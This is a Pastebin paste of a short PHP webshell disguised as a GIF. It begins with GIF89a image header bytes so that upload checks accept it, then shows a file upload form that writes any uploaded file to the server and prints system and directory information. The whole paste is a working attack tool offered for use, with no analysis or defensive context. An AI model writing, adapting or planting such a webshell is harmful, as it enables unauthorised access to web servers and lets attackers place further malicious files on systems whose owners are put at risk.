Advertisement
JohnGalt14

Simple PHP Webshell cloaked as GIF

Apr 5th, 2015
1,249
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.57 KB | None | 0 0
  1. GIF89aü%÷\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac\u20ac
  2. <center><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">
  3. <center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>
  4. <?php if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Done !!'; } else { echo 'Failed :('; }}
  5. echo "<center><br><b>".php_uname()."</b><br></center>";
  6. echo "<center><p><br><b>".getcwd()."</b><br></p></center>";
  7. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement